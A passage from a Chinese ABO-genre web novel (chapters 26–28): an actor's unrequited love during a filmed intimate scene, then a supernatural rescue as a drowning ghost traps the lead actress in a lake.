要是换成他,怎么也得过来看看排练,检查清楚防护措施够不够,凸显一下自己的正宫气场,用眼神暗暗警告要跟自己的Alpha亲密接触的狐狸精啊! 关景墨居然就这么走了……走了…… 哎呀!好生气! 这场戏,桑椹原本不想拍的。 他早已成名,得过影后奖杯,演技已得到业内外广泛认可。 拍这样的戏,是可以进一步证明自己的演技,提升作品整体的艺术高度。 但会影响形象。 要是尺度把握得不好,还有可能遭到封杀,圈子里不乏这样的例子。 用他的生意头脑稍微衡量一下,就知道不值得,会亏。 可是…… 桑椹心里一片酸楚。 遇上颜千澄后,他在理智上明知不值得、会亏的事,已经做过不少了,也不差这一件了…… 前期准备完成,桑椹和颜千澄贴上防护贴,整理好戏服,导演用大喇叭喊“各就各位,准备拍摄”。 桑椹优雅地坐在仿古凳上,随着导演一声“Action”,视线缓缓移动,落到梳妆台古朴的镜面上。 镜子映出一张极美的脸。 桑椹跟剧本里的Omega宠妃一样,自小就是个美人儿,一直深受异性欢迎。 跟相貌气质偏向Alpha,没有丁点Omega魅力的关景墨可不同,他微翘嘴角浅浅一笑,就有无数Alpha愿意为他赴汤蹈火。 此刻,古镜里娇美的脸上,神情复杂。 桑椹思绪纷纭。 跟宠妃一样,桑椹一直很骄傲,觉得周围的Alpha都配不上自己。 直到遇见她。 他们的Alpha,在认识他们之前,都已经结婚了。 他们都在现代社会长大,脑海里,一夫一妻制根深蒂固。 觉得小三是卑贱的。 可是,他跟她相遇得太迟。 明知她已婚,他还是爱上她了。 爱得很深,很强烈,无法忘掉。 怎么走,也走不出来。 谁能告诉他们,该怎么办啊…… 这份感情,像烈火一样日夜焚烧着他的心,好难受。 纠结痛苦后,宠妃放下他的骄傲,做了女皇的妾侍,为她遵守繁琐的礼仪规矩。 桑椹冒着被全网黑、职业生涯受损的风险,学做绿茶倒追颜千澄,公开表达对她的好感。 哦,这样想来,宠妃比他幸运得多。 古代是一夫一妻多妾制,妾是有名分的,是合理合法的存在。 更何况宠妃的Alpha是皇帝,没有三宫六院才不正常。 宠妃做小三,不会受到实质性的伤害,顶多要向正室低头行礼,受点委屈,心里纠结一下女皇是不是真的爱他,自己到底是不是玩物。 而在现代社会,小三是见不得光的。 一旦被人所知,铺天盖地的辱骂会喷到你脸上。 会被批判,被喊打喊杀,像过街老鼠一般。 苛刻的人们,会用这私生活上的瑕疵,否定你整个人。 污名将牢牢印刻在你额头上,死了都洗不掉。 在现代社会,爱上一个已婚的人,苦水只能自己默默吞下。 一旦忍不住,流露出一分一毫,都是错,是罪,是污点…… 哦,不能想太远。 桑椹将他的思绪扯回来。 导演没喊卡,他刚刚的表情眼神,应该没什么不对。 是了,此时此刻,宠妃应该也在回想穿越前待过的现代社会,回想他的感情历程,思考古代现代对“小三”这种存在的不同看法。 他拿自己跟宠妃相比,觉得宠妃比他幸运。 宠妃应该会跟新皇后相比,觉得新皇后比他幸运。 嗯,他的所思所想,与角色该有的表现严丝合缝。 桑椹暗暗给自己点赞。 “皇上驾到!”门外传来太监的高喊。 桑椹一震。 她来了。 他一脸纠结,慢慢站起身,迎接她。 穿着一身明黄龙袍的颜千澄走进来。 清丽贵气的容颜,从容自信的举止,温柔宠溺的微笑…… 桑椹想起“蓬荜生辉”这个词。 这词是客气话,一般是主人形容贵客的到来,给自己简陋的住宅增添了光彩。 现在,他站在剧务精心布置的宠妃宫室里。 这里是有不少仿品,但一眼望去,处处华美。 颜千澄一来,一切华美,全成了蓬荜。 她就如发光体一般,光芒耀眼,让人一见,就移不开眼睛。 宠妃痴痴的看着他的女皇。 桑椹也痴痴的看着颜千澄。 再纠结,再痛苦,一看见她,心头便泛起强烈的爱意。 喜欢她喜欢她喜欢她…… 想永永远远跟她在一起。 可她身边,一直有别人。 女皇没发现宠妃的纠结。 她不是穿越的,是土生土长的古代人。 现代人的观念中,婚姻的基础是爱情。 在一夫一妻制下,正妻/正夫,在社会的认知中,应该是最爱的那个人。 可在古代人心目中,婚姻牵涉的东西多了。 正宫皇后,是一个正儿八经的职务。 她废掉原来的皇后,不是为了帮爱妃出气,是因为他心肠歹毒,德不配位,有亏职守。 女皇是真没想过,要立一个来历不明的Omega为皇后。 也没想过,她的爱妃会为这事纠结。 她的脑海里,根本就没有“正室等于最爱的人”“爱一个人,应该给他最正式的名分”这种概念。 她就像往常一般,把新得的首饰赏赐给宠妃,亲手为他戴上。 看着心爱的Omega在珠宝华光映照下,娇美无限的模样,女皇眸光转深,搂紧他,指尖按剧本规定的轨迹,温柔抚动。 宠妃半是爱恋情热,半是自暴自弃,软软地偎依在女皇身上,任她动作。 剪水双瞳波光潋滟,无数复杂的情绪起伏流动,百转千回。 宠妃想,原来的皇后,比他先遇上女皇,早早与女皇成婚,他无话可说。 可为何女皇废后之后,完全不考虑自己,转头就选一个才刚入宫的Omega做她的新皇后呢? 在女皇心里,自己,真的只是一个漂亮的玩物吗? 心酸委屈痛苦难受。 可是…… 他心里,还是很爱她。 今生今世,都忘不了。 桑椹觉得,爱上一个已婚的Alpha,太艰难了。 尤其,他愿意冒那么大的风险去爱的人,还不爱他。 关景墨遇见颜千澄在先,跟她结婚在先。 可全世界都知道,颜千澄不爱关景墨。 桑椹就幻想着,做颜千澄最爱的人,就算没有名分,也没关系。 他以为,他是有机会的。 直到昨天,喻君辞出现。 桑椹才知道,就算颜千澄不爱她的配偶,也不代表会爱他。 她心里,早就有别人了。 她不爱他,不爱他,不爱他…… 过去不爱,现在不爱,将来也不会爱。 心酸委屈痛苦难受。 可是…… 他心里,还是很爱她。 今生今世,都忘不了。 华贵的帷幔徐徐落下。 颜千澄是个极具天分的演员,第一次拍这样的戏,动作却流畅自然,轻易带动起桑椹的感觉。 视线交汇,隔着防护贴,都能感受到彼此的灼热。 桑椹颤声喊着“陛下”。 今天突然要拍这戏,是想暗搓搓向关景墨和喻君辞示威。 她的正室,和她的心上人。 哼。 颜千澄对关景墨有责任感。 她说,关景墨是她的人,他若无过错,不会让任何人伤害他。 她把话撂这儿了,桑椹知道,不能再明着挑衅关景墨了。 至于喻君辞,颜千澄什么都没说。 但桑椹明显感觉到,她极其在乎喻君辞。 谁要伤喻君辞一分一毫,都得吃不了兜着走。 颜千澄也知道,他感觉到了。 她知道他够乖觉,够懂事。 不用她出言警告,他也不敢触碰她这逆鳞。 桑椹的确不敢。 可是…… 他心里憋着一口气,咽不下去啊。 他们让他难受了,他也想让他们难受一下啊。 桑椹思来想去,只能用这种方式,暗暗出口气。 那两人,都不愿待在现场,亲眼看颜千澄跟别人拍亲.密戏。 但桑椹知道,这部电影,这串镜头,他们或迟或早,一定会看的。 因为爱一个人,就会想多看她几眼啊。 哼,看吧。 也气一气,憋屈憋屈吧,哼哼。 决定拍这戏,还有个原因。 是……想跟颜千澄这样,抵死缠.绵。 感受颜千澄对他的痴迷渴望。 此时此刻,颜千澄心里眼里,全是他。 只有他。 桑椹庆幸,自己当初选择了演员这个行业。 可以在虚幻的场景里,跟最爱的人一起,做最美丽的梦。 放纵自己的感情,落下自己的泪水。 …… “Cut,perfect!” 随着导演一声高喊,桑椹的美梦结束。 颜千澄极有分寸,立刻停下动作,起身坐好,整理衣服。 见桑椹还躺着,绅士地向他伸出手。 被誉为“娱乐圈第一美人”的完美容颜上,全是对同事适度的客气关心。 方才的痴迷渴望,一下子消退干净。 桑椹收拾心情,把手放在她的手心里,在她的帮助下坐起来。 现场有摄影机拍下两人的互动,电影宣发人员考虑用这片段做花絮,标题就叫……“最佳搭档”? 还是“配偶如衣服,搭档如手足”? 明明是一场难度很高的戏,却能一条过,周围一片欢呼夸赞。 桑椹望向远处和导演一起看回放的颜千澄。 跟女皇不同,颜千澄什么都明白。 桑椹消息灵通,已经知道,早上在片场外,颜千澄曾跟记者说“希望不要再有无端的臆测,伤害一个Omega好演员”。 颜千澄瞒下了他曾经的表白。 她成熟冷静地处理他对她的爱慕,保护他的隐私与名声。 尽量不让他受到伤害。 也不给他无谓的希望。 颜千澄,是个好人。 可……若然她能渣一点,或许,他就不会这么痛苦难受了…… 也不知道,是该感激她,怨她,还是……继续爱她…… 第26章 郊外西山,一处天然湖泊。 颜千澄仔细打量眼前的湖水。 水质尚算干净,湖面飘浮着几片枯叶,湖底隐约可见少量暗绿色水草。 湖水有淡淡的羊臊味,闻着不太舒服,勉强能忍耐。 颜千澄蹲下,伸手入湖一探,湖水温度比她预估的更低,冰冷寒意直直透入骨髓,她忍不住打了个冷颤。 “要不,还是用替身吧?”桑椹见状,赶紧劝。 “不需要,”颜千澄摇头拒绝,“等会儿我做足准备运动就行。” “千澄,千万别勉强。”导演也劝。 导演都喜欢敬业的演员,希望演员能亲身上阵拍戏,尽量不用替身。 但颜千澄这身价,要是出了什么闪失,剧组可赔不起。 颜千澄无奈:“我真没勉强。我水性挺好的,从小参加各类游泳比赛,还考了高阶潜水证,这湖不算深,我潜进去待一整天都没问题。” 很多时候,她真不想炫耀,可不将得过的荣耀摆出来,人家单看她的家世和容貌,下意识的就会忽略她的实力,不让她做她想做的事。 现在,她想做的事,是亲自饰演微服出巡途中意外与侍卫失散,流落江湖时,为救爱妃下水采药草的女皇。 想做,也有能力做好的事,当然要做啊。 颜千澄是有备而来,向导演出示她的游泳冠军奖杯照片和潜水证。 导演无话可说。 能说啥啊,替身和剧组重金聘请的指导都没她专业。 保险起见,他吩咐剧组保安做好准备,随时救援,就忙别的去了。 颜千澄认真做准备运动。 桑椹在她附近坐好,双眼亮晶晶的注视着她。 颜千澄,真是他见过的最完美的Alpha。 经济商务、演戏、武术、游泳……好像就没有她不擅长的事。 怎能不喜欢她啊? 桑椹的经纪人烦恼地揪了几把头发,不管了。 那种戏都拍了,早晚会再来一波绯闻。 只盼到时候,桑椹还能保住几分理智吧。 桑椹目不转睛看着颜千澄做完准备运动,又找话题跟她聊天:“挺奇怪的,这里离市区也就两个小时车程,但很少有人来这边,大家都去挤南山了……” 颜千澄自小接受祖母的严格训练,听到桑椹的评论,条件反射般用商业眼光观察周围,跟南山做比较。 这山朝向不好,时不时有乱风刮过,风景一般,湖边植被稀疏,偶有几株小草,也是干枯泛黄,无精打采。 仰头看天空,今天是阴天,云层不厚,但看上去暗沉沉的,太阳隐没不见。 颜千澄秀眉微蹙:“这里有种……压抑感。” 让人无端的憋闷郁结,无法放松心情,难怪人气不高。 “我也有这种感觉。”桑椹眼睛一亮,为跟梦中情人同频而高兴。 他还想继续跟颜千澄聊天,见灯光老师好不容易调整好光线,导演拿起大喇叭,要喊“各就各位”了,赶紧打住,进入绿茶角色,温柔又贴心,水润唇角扬出最动人的弧度:“千澄姐姐,加油哦。如果中途感觉不对,千万别勉强,安全要紧。” 颜千澄点头,收下搭档的鼓励。 想着等会儿要下水,怕弄湿弄脏脖子上喻君辞送的平安结,她小心翼翼地把它取下来,收进一个极尽精美的木盒里,盖上盒盖,交给助理小郭保管。 桑椹看在眼里,心里一阵阵泛酸。 跟颜千澄合作多时,早就知道她极宝贝这平安结。 平常尽量戴着,一旦有可能污损它一分一毫,她就这样细心收藏起来。 桑椹怕僭越,不敢多问。 但瞧她珍而重之的样子,想也知道平安结是谁送的。 哼哼。 她有正室,有心上人,那又怎样。 现在跟她朝夕相处,陪她做最喜欢的事,跟她最亲密的人,是他桑椹啊。 哎呀好开心! 有她在身边,就算身处穷山恶水之中,他也是欢喜的,欢喜得想开出花来。 平安结一离身,颜千澄感觉周围更阴沉,更压抑了。 她是唯物论者,从来不信虚无缥缈之事,没有多想,集中精神酝酿情绪。 随着导演一声“Action”,颜千澄利落地跳下水,向湖底游去—— 关景墨处理完颜氏集团的工作,带上干净有机的米饭水果,开车去颜千澄今天出外景的西山。 路上,他总觉得心慌意乱,心脏“咚咚咚”乱跳。 抵达西山脚下,驶入盘山公路。 这一带少有人来,路修得粗陋,再豪华的车子也免不了颠簸。 关景墨觉得心脏跳得更厉害了。 进入外景地,关景墨透过车窗,望见高处一大一小两个阴影时,心里不祥的预感强烈到极点。 谢凡锁定了颜千澄,通常悬浮在她身后几米处的半空,不会离她太远。 贝贝一般跟着剧组。 颜千澄在剧组拍戏时,它们两鬼就一起待在阴暗处聊天说笑,看上去挺轻松愉快的。 可今天,它们飞上高空,紧盯着湖里,脸色很凝重地讨论着什么。 关景墨环顾一圈,没看到颜千澄。 他每次跟颜千澄说话,总说得磕磕碰碰的,尴尬无比。 自知千澄也不乐意跟他说话,怕惹她厌烦,关景墨从来不敢跟她多说什么。 昨夜在客厅碰面,颜千澄告诉他今天要拍外景,如果想探班不要去片场,关景墨只敢问外景的大概地点,没勇气问她要拍什么戏。 现在看见几台摄影机对着湖里,导演和大半剧组人员都看着湖里,尤其是桑椹,发现他来了,神色复杂地远远望他一眼,就没理会他,也没理会别的,只专注地盯着湖里,关景墨才知道,千澄下水了。 关景墨安慰自己,千澄水性一流,鱼都比不上她,应该没事的。 剧组正在拍戏,关景墨不敢弄出大动静影响颜千澄工作。 他静静地从车里拿出干净有机的米饭水果,摆放在谢凡和贝贝附近地面。 贝贝看见吃的,精神一振,下来吃东西。 谢凡依旧不吃关景墨的食物,脸色依旧凝重。 关景墨心里又一阵慌,压低声音问:“这湖……有什么不对吗?” 谢凡不愿理会关景墨,贝贝一边吃饭,一边解释:“这湖阴气挺重的,湖底有个封印,像封着什么厉害东西。” “厉害东西?我没听过这边有什么特别传闻啊。”关景墨惊讶。 “谢凡说,这封印有些年头了,这么多年都没出事,应该是它的功劳。可是,再厉害的封印,效果也会逐年减弱的,现在阴气这样重,说明封印可能已经松动,那东西可能要出来了……”贝贝说。 关景墨不寒而栗:“那怎么办?千澄下水了!” 贝贝叹气:“我也不知道能怎么办啊。千澄姐姐又听不见我说话,剧组里没人能听见我说话!刚才她下水前,把心上人送的平安结脱下了,我在她旁边大声喊‘快戴回去快戴回去!不要收起来啊!’,她都听不见。那平安结里有很强的守护意念,原本是可以保护她的……” 关景墨转头,在人群中寻到颜千澄的助理,猜想平安结现在应该在她手上。 贝贝吃人嘴短,安慰关景墨:“不用太担心啦,那东西不一定现在出来,就算真的出来了,剧组这么多人,它不一定会挑上千澄姐姐吧?” “可千澄现在离它最近啊。”关景墨很慌。 非转基因没有农残没有打蜡没有香精保鲜剂重金属含量低的米饭水果特别好吃,贝贝心满意足,继续安慰关景墨:“不是离得近就一定会遭殃的,鬼怪没有肉身,瞬间能飘很远,对它来说,离它几米和离它几十米是差不多的。” 关景墨按了按突突直跳的心脏。 贝贝说的有道理,但事关颜千澄,他不敢抱丁点侥幸心理。 谢凡也沉沉开口:“那东西不出来就罢了,要是出来,十有八九,会缠上颜千澄。” “为什么?”关景墨颤声问。 “因为颜千澄的运势……”谢凡顿了顿。 鬼怪作祟,如果不是要找特定对象报仇讨债,不是受邪术师操控,只是随机挑选,一般会挑中一群人中,运势最低的人。 不少人有相关经历,不是天生的灵异体质,平时什么也感觉不到,运势一低,突然就能看见另一个世界的人影,还发现自己被它们注意到。 颜千澄被怨灵锁定,这段时期,本就是她命中注定的生关死劫,一生运势的最低点。 就算谢凡没有出手害她,它身为煞气缠身的五衰之体,日夜跟在颜千澄身边,也会进一步压低她的运势。 人在倒霉的时候,发生多少倒霉事都不奇怪,倒霉成什么样都不奇怪。 这就是俗话说的,祸不单行。 谢凡心乱如麻,不愿让关景墨发现它的异样,别过脸不看他。 湖底的封印,压制住那东西,也模糊了它的感知。 它不知道封印里的东西是什么,不知道颜千澄会遇上什么事…… 关景墨见谢凡说到一半就不说了,知它向来脾气古怪,估计问不出什么东西来。 他掏出手机,打电话给姚甜甜。 姚甜甜没接。 之前跟怨灵谈过,知道它一时半会儿不会杀千澄,关景墨就派姚甜甜出国,去那擅长制造小鬼的国度,看能不能学到些失传的玄学。 估算时间,现在她那边应该是半夜。 想到千澄可能会遇险,关景墨手脚都在发抖。 想靠近湖边看看,又担心打扰她,只能站在远处,默默观望。 谢凡心烦意乱,下意识地握紧双拳。 手指攥起,只握到一片虚无。 它这才想起,它早已死去多时了。 没有□□,只剩灵魂。 它曾跟贝贝和关景墨说,它的父母,是被颜千澄的父母害死的。 它没跟他们说,它自己,也是被颜千澄的父亲害死的。 死亡的过程太痛苦,它不愿回忆,不愿跟任何人提起。 它原本打算,为父母和自己报仇,杀掉仇人的女儿颜千澄的。 嗯,它父母和它这么惨,凭什么颜千澄可以好好活着? 颜千澄应该死。 由别的鬼动手,它可以省些能量,或许可以存在更久,不用那么快魂飞魄散。 可是…… 可是……—— 湖水好冷。 颜千澄以前为锻炼身体和意志力,没少冬泳。 深冬腊月结了薄冰的江河湖海,她都游过,没觉得多冷。 现在还未到冬天,刚刚剧务和她的助理都测过水温,有九摄氏度。 为什么九度的湖水会冷成这样? 感觉比零度的冰水混合物更冷。 不科学。 手臂在水中娴熟划动,敬业的颜千澄坚持着,饰演好自己的角色。 游到指定地方,颜千澄凝眸观察,微微扬眉,一副惊讶赞叹的模样。 然后,她慢慢游近,做出采摘药草的动作。 当然,湖底并没有真实的药草,原著里那株闪耀着五色光芒的药草,是由技术人员后期合成的。 “药草”到手,女皇欣慰一笑,调整姿势,准备游回去。 就在这时。 颜千澄感觉右腿突然一沉。 第27章 是被水草缠住了? 颜千澄回头一看,远处是有些稀稀疏疏的水草,随着水流飘荡,偶尔散出几串小水泡。 但湖底中央这片地,空空荡荡的,除了淤泥和水,什么也没有啊。 颜千澄再次提了提右腿。 湖水不脏,颜千澄看得清清楚楚,明明没有东西缠着,可她的右腿就是动不了。 颜千澄使劲用力一蹬,想摆脱那股看不见的缠绕。 她是Alpha,年轻力盛,自小习练武术,多次获得全国武术比赛冠军。 这一蹬,就算缠着她的是四五个壮年Alpha,也该踢开了。 颜千澄谙熟水性,蹬腿同时还划动双臂,尽可能利用浮力。 可还是没挣脱。 怎么回事? 湖水好像比方才更冷,冷得她忍不住一连打了几个寒颤。 与此同时,不知怎么的,心头突然充斥了无数灰暗的情绪。 她看见年幼时,父母激烈争吵,用最恶毒的言辞互相咒骂,小小的她缩在角落,想哭不敢哭,担心自己闹出动静,他们吵得更厉害。 不想听,不想看,可又逃不了。 恐惧得发抖,觉得整个世界在崩塌。 茫然失措,不知道该怎么办,能怎么办。 有个陌生的,阴恻恻的声音在她耳边呢喃:“你看,你的父母不爱对方,也不爱你。你的存在,对你的父母来说,是多余的。你的人生,有什么意义?” 紧接着,颜千澄看见,几年前的自己坐在阶梯教室里,仰头望着讲台上的喻君辞。 喻君辞带着笑意的目光,偶尔会落在她身上。 停留片刻,他就移开视线,微笑着看向其他人。 她问喻君辞问题,他温和耐心地解答,表情态度,跟对别的学生一样。 她向喻君辞表白,他温和耐心地劝导她,除了多出几分震惊与尴尬,喻君辞的态度专业得很,跟开解指引那些找他倾诉人生困惑的学生时一般无二。 据说,有师德的老师,就是这样的。 他会公平地对待他的所有学生,关心爱护所有学生。 不会因为她成绩优秀、长得美、倾心爱慕他,就对她另眼相看。 在校期间,颜千澄没发现任何喻君辞偏爱她的迹象。 毕业后,喻君辞送她的平安结,可能只是老师给学生的一件普通的毕业礼物。 颜千澄一直不知道,喻君辞对她,有没有超越师生情的特殊感觉…… “没有,”那声音说,“他不爱你。你的爱慕,对他而言,只是困扰而已。他没有表现出厌烦,是因为他人好,不忍心伤害你,也因为你是颜氏集团的继承人,他不敢得罪你。” 没关系的。 就算喻君辞不爱她,她也可以主动追求他,想办法让他爱上自己。 她会很尊重喻君辞,只要喻君辞说一句“不”,她就会克制自己,不会让他觉得被强迫。 她会努力待喻君辞好,无论要付出多少,无论要等多久,她都在所不惜。 可是,后来…… 她还没来得及正式展开行动,就彻底失去追求他的资格。 盛大的婚礼,花雨漫天,她穿着婚服,与一个她从未想过要娶的人执手盟誓,将婚戒套入他的无名指。 颜千澄还看见,自己从警察局林局长手里,接过父母的遗物。 林局长在说着什么,大概是安慰她吧,但她心里一团乱麻,听不清。 感觉……很复杂,无法形容。 那时候,她也没有时间,没有精力整理自己的心情。 祖母病了,病得很重。 医生委婉地跟她说,祖母时日无多,要做好心理准备。 可是,她好不容易长大成人,原想好好孝敬祖母的啊。 “是不是很痛苦?”那声音说,“怨憎会,爱别离,求不得。这人生,有什么意思?” 人生有什么意义,有什么意思。 有时候,颜千澄也会思考这个问题。 但是! 不应该在此时此刻此地思考! 颜千澄知道,情况越是诡异,越是危急,就越要保持冷静。 她仰头,向导演打了个求救的手势,然后调整心态,减缓消耗,想办法自救。 “千澄姐姐出事了!”桑椹急喊,“可能是腿抽筋了,快救人!” 颜千澄一入水,桑椹就在湖畔找了个摄像机拍不到的地方,近距离欣赏她表演。 他是影后级演员,名气大资历深,只要不影响拍摄,无人敢管他。 桑椹看到,颜千澄原本很完美地饰演着女皇,表情动作一直极贴合角色,却突然变得不自然。 他经验丰富,看两眼就看出不对。颜千澄打手势的同时,他也大喊出声,帮她呼救。 导演一挥手,在湖边待命的剧组保安和颜千澄的保镖一起“扑通”“扑通”跳下水,救援颜千澄。 桑椹紧盯着水下,紧张得手心都冒汗了。 保安保镖们奋力向颜千澄游去。 可还未游近,就像被什么缠住了,一个个被固定在水中,怎么挣扎也挣脱不开,憋得脸红脖子青。 见状,剧组一片哗然,导演赶紧打电话求救。 桑椹心里一阵阵恐慌,他不会游泳,只好大声冲自己的保镖喊:“你们愣什么?快点下去帮忙救人啊!” 桑椹的保镖们吓得脸都白了。 “这情形不对啊,怎么都……抽筋了?” “已经下去这么多人,救援力量是足够的……” “老板,我们要贴身保护您,不能离开啊!” …… 桑椹急了:“你们要是不肯下去救千澄姐姐,以后就别跟着我了!” 正跺着脚大发脾气,眼尾余光瞧见一个熟悉的人影快速跑近。 一身黑色西装,白衬衣,暗色领带,黑皮鞋,乍看像个Alpha商务精英,毫无Omega魅力的家伙。 是关景墨。 颜千澄的合法配偶。 跑得急,原本系得一丝不苟的领带歪到一边,神色慌慌张张的,没有半分平日的精明沉稳。 梦中情人情况危急,桑椹顾不得跟关景墨怄气了,离老远的就大声喊他,快速说明情况,慌着催促:“快点想办法救千澄姐姐啊,再迟点……” 会缺氧,呛水,然后…… 桑椹不敢想。 关景墨拼尽全力跑到湖边,定睛一看,愣住了。 他体质特殊,从小就能看见另一个世界的东西。 此时,在他眼中,湖里暗雾弥漫。 湖底中心,一个红衣人影趴伏在地,双手正紧紧抓住颜千澄的右脚脚踝。 一缕缕蟒蛇般粗长的头发朝四面八方蔓延开去,缠绕着下水救援的保安保镖们。 “溺死鬼!”半空处,谢凡沉声说。 关景墨失声喊:“这就是溺死鬼吗?” 为救颜千澄,这段时间,关景墨没少研究玄学资料。 知道溺死鬼是水中溺死之人所化。 它们无法脱离溺死的水域,就暗中在水底游荡,引诱或强硬将活人拉下水中淹死,做它们的替死鬼,然后它们就可以投*胎转世了(1)。 怨灵和小鬼说的封印,已经松动了吗? 现在这东西……是打算淹死千澄,让千澄做它的替死鬼吗? 溺死鬼大概是听到关景墨的喊声,发现他能看见自己。 它缓缓抬头。 死气沉沉青白可怖的脸,凌乱飘荡的长发。 暗红色的眼珠隔着湖水和拼命挣扎的人群,直直盯着关景墨。 关景墨打了个寒颤。 好可怕的戾气! 深不见底的恐惧笼罩着他,将他的心脏越攥越紧。 关景墨透不过气来,整个人控制不住地微微颤抖。 桑椹瞪大眼睛。 关景墨的话,他好像听见了,又好像没听见,颤着唇问:“你刚刚说什么?” 关景墨没时间跟桑椹解释,艰难克制住拔腿就跑的冲动,扬声对颜千澄的助理小郭喊:“请拿千澄的平安结给我,快!” 小郭一怔。 按理说,老板让她保管的东西,她是不该交给别人的。 可如果这“别人”,是老板的合法配偶呢? 老板遇险,命在旦夕。 老板的合法配偶看起来很在乎老板。 看起来很想救老板,拼尽一切在所不惜。 犹豫片刻,小郭下定决心,冒着犯下大错,惹怒老板的风险,打开盒子,取出平安结,交给关景墨。 关景墨已经扯开歪掉的领带,随手将昂贵的高定西装外套扔地上,正要脱皮鞋袜子。 “你想干什么?”贝贝惊讶,“你要下水,将平安结交给千澄姐姐?没看见下水去救她的人都被缠住了么?你也想被缠?” 谢凡烦躁:“他以为拿着平安结,就不会被缠,可以一路游到颜千澄那里,把平安结给她。真是异想天开,喻君辞只是一个普通凡人,就算侥幸凝出守护之力,也只能保护颜千澄一人,只能护得一时,他拿着根本没用。” 关景墨原本确实是这个打算,可小鬼和怨灵都认为不行,他急得眼圈都红了,嘴唇咬出血来,尽力保持镇定另想办法。 谢凡不再理会关景墨,转头盯着水底的溺死鬼。 这溺死鬼,怨气很重。 一般来说,鬼物怨气越重,就越厉害。 水里是溺死鬼的主场,它在水里,会更厉害。 看看被它瞬间缠住的十几个保安保镖就知道了。 谢凡感受着溺死鬼的力量,估量自己能不能破开湖水,斩断它抓着颜千澄的鬼手…… 应该可以! 只要它拼着魂飞魄散,一次释放出所有力量,就能灭掉这溺死鬼,救出颜千澄! ……救出颜千澄? 谢凡愣住。 为什么,它会想救颜千澄? 颜千澄,是它切齿痛恨的仇人的亲生女儿啊! 儿时的家,幸福的点点滴滴,父母的音容笑貌,在谢凡心底脉脉流转。 多少年了,从未淡忘半分。 每次回忆,总是心伤难忍。 父母和自己,都是被她父母害死的。 颜家不死绝,它怎能甘心! 怎能对得起爱它如性命的父母! 颜千澄…… 还是去死吧。 这几个月,它犹豫来犹豫去,越来越下不了手杀她。 现在,有别的鬼代劳,挺好的。 颜千澄快淹死了,颜龄也快病死了,仇人全家死绝,它应该痛快了,不会再痛苦难受了…… 鬼魂没有眼泪。 谢凡抬起头,不想看颜千澄怎么死。 嗯,再美的人,淹死的样子肯定也不好看,不看了。 谢凡强迫自己望向天空,望向暗沉的云层。 却仍看见颜千澄的模样。 锁定颜千澄几个月,谢凡太熟悉她了,不看她,也能凭空描绘出她的眉眼。 数不清曾有多少个漫漫长夜,谢凡浮在半空,看颜千澄独自默默坐着,一坐就是大半夜。 她没开灯,霜白月色透过窗棂,落在她的长睫上,水光微亮。 一开始,看见仇人的女儿伤心,谢凡幸灾乐祸。 估算着颜千澄要伤心难受多久,等她伤心难受完,它就弄死她。 后来……后来…… 谢凡不再幸灾乐祸了。 它看见颜千澄无论怎样伤心难受,第二天,总能振作起来,继续认认真真过好自己的生活。 她见识过真正的黑暗,可她眼眸深处的亮光,从未寂灭。 她痛苦遗憾不快乐,可仍愿意给予别人一份善意与温暖。 陌生的情绪起伏翻涌,谢凡忍不住,再次望向颜千澄。 再看她几眼吧。 就几眼。 它看见颜千澄眉头微蹙,像在努力对抗什么。 嗯,鬼物没有实体,它们最可怕的地方,是会影响人的心理。 它们会唤起人类心底一切负面情绪,再无限放大。 现在,溺死鬼正将颜千澄内心最深的恐惧,最沉重的悲伤,最黑暗的想法……全部翻出来,刺激她,蛊惑她,侵蚀她,摧毁她的意志,控制她的精神,让她放弃反抗,沦为它的替死鬼,代它承受无尽折磨。 颜千澄……做得很好。 对上戾气深重的溺死鬼,始终保持神志清明,没被击垮。 她很坚强。 是谢凡见过的心性最坚韧的人。 可是…… 谢凡看见,颜千澄昳丽的容颜上,逐渐现出几分痛苦之色。 她被困水底已久,应该是开始缺氧了。 她快死了。 颜千澄她…… 快死了! 谢凡心神一乱,未等想清楚,已情不自禁地往湖中心一飘。 冷不防的,撞上一团小小的身影。 是贝贝。 贝贝张开瘦小的胳膊,挡在它身前,大声喊:“谢凡,你冷静点!” 蕴含小鬼鬼力的吼声震了谢凡一下,混乱的脑袋清醒了些。 紧接着,谢凡听到重重一声“扑通”。 转头一看,是关景墨。 他跳进湖里了。 义无反顾地,带着一股子决绝。 “他怎么……”谢凡刚刚沉浸在自己的思绪里,知道贝贝跟关景墨说了什么,但真没心情听。 贝贝叹气:“我跟关景墨说,溺水鬼只需要一个替身。他是纯阴体质,容易招邪,也就是说,‘邪’会比较喜欢他,让他试试引诱那溺水鬼,让它放弃千澄姐姐,选择他。” 谢凡怀疑:“关景墨能行吗?” “这几个月来,他不一直在干这种事吗?”贝贝摊手,“反正我是没办法了,溺水鬼要是上岸,我还能跟它斗斗,它在水里,我是打不过的,你比我厉害,可你就算能打过它,也是个同归于尽。谢凡,别傻了,我是希望你能放过千澄姐姐,可没希望你为她魂飞魄散。你说过会记住我的,能记多久,就记多久,我希望你记我久一点,那你就要好好的。送死的事,就让疯批去做吧!” 谢凡一向怕贝贝那张嘴,被它一番话说得有点蒙。 再仔细回想…… 要是刚刚贝贝没拦着,它……会干什么? 不,不是的,不可能! 也许……也许它只是,不想让别的鬼碰它的目标人物。 对,颜千澄是它仇人的女儿,是它锁定了几个月的人,别的鬼凭什么杀她? 要杀,只能由它亲自杀! 它绝不会救仇人的女儿,它只是想亲手杀她! 贝贝后怕地拍拍心口。 好险,差点就得眼睁睁看着好朋友魂飞魄散了。 嗯,谢凡是它的好朋友,它不想谢凡魂飞魄散。 千澄姐姐人美心善,它不想她死。 至于关景墨…… 其实贝贝也不想他死的,毕竟吃过他几顿米饭水果,吃人嘴短。 关景墨对它的态度,也还可以吧。 没有令人恶心的占有欲,与居高临下的奴役。 是有点利用的意味,但关景墨不贪心,只是希望它能偶尔帮帮千澄姐姐。 这点请求不过分,也符合它的意愿,它并不反感。 关景墨,比它的前主人好很多。 只是,关系有远近亲疏,好感度有高下之分。 谢凡、千澄姐姐和关景墨这三个里,如果今天真的要死/魂飞魄散一个…… 贝贝选择关景墨。 让他去送死,贝贝有点愧疚。 但跟谢凡与千澄姐姐一比,关景墨只能成为弃子。 它也没强迫关景墨,没说谎骗他,是关景墨自愿的。 跳湖前,关景墨还跟它说了句“谢谢”。 唉,关景墨那家伙,看着人模人样的,其实是个傻子兼疯批。 千澄姐姐摆明不喜欢他,他还愿意为千澄姐姐死。 那就,去死吧。 求仁得仁,嗯。 第28章 这湖水好冷! 颜千澄一出事,关景墨的脑子又变成一团浆糊,忘记做准备运动,就直接跳入水里。 